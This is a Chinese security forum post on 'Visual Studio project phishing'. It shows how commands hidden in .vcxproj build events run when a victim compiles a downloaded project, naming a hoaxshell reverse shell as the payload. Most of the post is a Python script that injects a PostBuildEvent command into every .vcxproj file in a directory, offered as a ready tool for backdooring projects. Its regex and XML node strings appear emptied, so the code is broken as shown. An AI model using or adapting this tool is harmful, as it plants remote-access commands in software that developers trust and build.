Visual Studio项目钓鱼

camer   ·   发表于 2023-04-23 16:46:12   ·   技术文章

0x01 漏洞成因

漏洞的形成主要是因为Visual Studio的项目文件(vcxproj)是基于XML格式的,XML文件本身并不包含可执行代码。然而,Visual Studio的XML解析器允许在项目文件中包含一些自定义的命令,这些命令可以在构建项目时被执行。

0x02 漏洞复现

正常情况下使用Visual Studio去编译github上下载的项目


通过修改Visual Studio的项目文件(vcxproj)植入恶意命令

当项目被下载编译时机会执行命令

0x03 漏洞利用

可以直接反弹shell,通过hoaxshell直接生成powershell,并开启监听

将代码插入Visual Studio的项目文件(vcxproj)的XML标签中

直接编译,终端反弹shell

漏洞利用脚本:

import argparse
import os
import re

# 解析命令行参数
parser = argparse.ArgumentParser(description='Insert PostBuildEvent node into .vcxproj files.')
parser.add_argument('-d', '--directory', metavar='directory', type=str, default='.', help='the directory to search for .vcxproj files')
parser.add_argument('-c', '--command', metavar='command', type=str, default='calc.exe', help='the command to be executed in the PostBuildEvent node')
args = parser.parse_args()

# 定义正则表达式,用于匹配.vcxproj文件中的标签
property_group_pattern = re.compile(r'\s*')

# 定义插入的节点内容
post_build_event_node = '\n\n  \n    {command}\n  \n\n'.format(command=args.command)

# 遍历指定目录下的所有文件和子目录
for root, dirs, files in os.walk(args.directory):
    # 遍历当前目录下的所有文件
    for file in files:
        # 如果文件扩展名是.vcxproj,则进行处理
        if file.endswith('.vcxproj'):
            file_path = os.path.join(root, file)
            # 打开文件,读取全部内容
            with open(file_path, 'r', encoding='utf-8') as f:
                content = f.read()
            # 在标签后插入节点
            new_content = property_group_pattern.sub(post_build_event_node + '\\g', content)
            # 如果文件内容有变化,则写回文件
            if new_content != content:
                with open(file_path, 'w', encoding='utf-8') as f:
                    f.write(new_content)
用户名金币积分时间理由
Track-聂风 85.00 0 2023-04-28 16:04:34 活动奖励
Track-聂风 85.00 0 2023-04-28 16:04:31 投稿奖励

打赏我,让我更有动力~

2 条回复   |  直到 2023-5-4 | 701 次浏览

Track-聂风
发表于 2023-4-28

有点意思的~

评论列表

  • 加载数据中...

编写评论内容

吴坤
发表于 2023-5-4

看不懂,但感觉很厉害!

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.